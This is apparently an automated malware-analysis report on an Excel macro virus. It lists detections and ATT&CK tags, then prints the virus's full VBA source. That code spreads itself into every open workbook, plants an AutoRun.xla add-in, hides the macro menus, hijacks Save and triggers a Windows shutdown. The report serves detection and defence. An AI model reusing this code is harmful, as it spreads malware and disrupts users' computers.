MALICIOUS
260
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1059 Command and Scripting Interpreter
The sample is an Excel document containing VBA macros, including an Auto_Open subroutine. The macros attempt to display messages about pirated software and potentially execute a system shutdown command via Shell("RUNDLL32.EXE user.exe,exitwindows"). The presence of Auto_Open and Shell() calls strongly suggests malicious intent, likely to deceive or disrupt the user.
Heuristics 6
-
ClamAV: Xls.Trojan.BDoc2-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Trojan.BDoc2-1
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Auto_Open macro high OLE_VBA_AUTOAuto_Open macro
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3683 bytes |
SHA-256: ab11e6c8b2e1ae7a645b5ab7cfe27d665012f87492787e4778f8dbd88273ecef |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "bdoc2"
Dim SS As String
Sub Auto_Open()
On Error Resume Next
d3
d1
End Sub
Sub Auto_Close()
On Error Resume Next
d1
End Sub
Sub Auto_Exec()
On Error Resume Next
Application.DisplayAlerts = False
Application.ScreenUpdating = False
Options.VirusProtection = False
End Sub
Sub Auto_Exit()
On Error Resume Next
If Day(Now) = 26 Then
If Month(Now) = 4 Then
MsgBox "您使用的是盗版软件,请Email To:zdqjs@sina.com 寻求帮助", vbCritical
Else
MsgBox "您使用的是盗版软件", vbCritical
End If
End If
If Day(Now) Mod 5 = 0 Then Shell ("RUNDLL32.EXE user.exe,exitwindows")
End Sub
Public Sub d1()
On Error Resume Next
SS = ""
pp = ThisWorkbook.VBProject.VBComponents("bdoc2").CodeModule.CountOfLines
SS = ThisWorkbook.VBProject.VBComponents("bdoc2").CodeModule.Lines(1, pp)
If SS = "" Then GoTo Label_Exit
For I = 1 To Workbooks.Count
Dname = Workbooks(I).FullName
If Left$(Dname, 8) = "Document" Then GoTo Label_Next
If Workbooks(I).VBProject.Protection = 1 Then GoTo Label_Next
LL = -999999
LL = Workbooks(I).VBProject.VBComponents("bdoc2").CodeModule.CountOfLines
If LL = -999999 Then
Set doc = Workbooks(I).VBProject.VBComponents.Add(1)
doc.Name = "bdoc2"
Workbooks(I).VBProject.VBComponents(doc.Name).CodeModule.AddFromString SS
Workbooks(I).Save 'As FileName:=Dname
End If
Label_Next:
Next I
Label_Exit:
Application.ScreenUpdating = True
Application.DisplayAlerts = wdAlertsAll
Application.EnableCancelKey = wdCancelInterrupt
End Sub
Sub d2()
'
End Sub
Sub d3()
On Error Resume Next
Application.DisplayAlerts = False
Application.ScreenUpdating = False
CommandBars("Tools").Protection = msoBarNoCustomize
For I = 1 To CommandBars("Tools").Controls.Count
aa = Left(CommandBars("Tools").Controls(I).Caption, 3)
If Left(aa, 1) = "宏" Or aa = "自定义" Then
CommandBars("Tools").Controls(I).Visible = False
End If
Next I
CommandBars("File").Protection = msoBarNoCustomize
CommandBars("standard").Protection = msoBarNoCustomize
nnn = "AutoRun.xla"
LL = -999999
LL = Workbooks(nnn).VBProject.VBComponents("bdoc2").CodeModule.CountOfLines
nnn = Application.StartupPath & "\" & nnn
If LL = -999999 Then
ThisWorkbook.Activate
ActiveWindow.Visible = False
ThisWorkbook.IsAddin = True
ThisWorkbook.TemplateRemoveExtData = True
ThisWorkbook.SaveLinkValues = False
mmm = ThisWorkbook.FullName
ThisWorkbook.SaveAs nnn, 18
Workbooks.Open mmm
End If
For I = 1 To 6
If Left(CommandBars("File").Controls(I).Caption, 2) = "保存" Then CommandBars("File").Controls(I).OnAction = nnn & "!Auto_Save"
If Left(CommandBars("standard").Controls(I).Caption, 2) = "保存" Then CommandBars("standard").Controls(I).OnAction = nnn & "!Auto_Save"
Next I
End Sub
Public Sub Auto_Save()
On Error Resume Next
d1
d3
ActiveWorkbook.Save
Auto_Exit
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.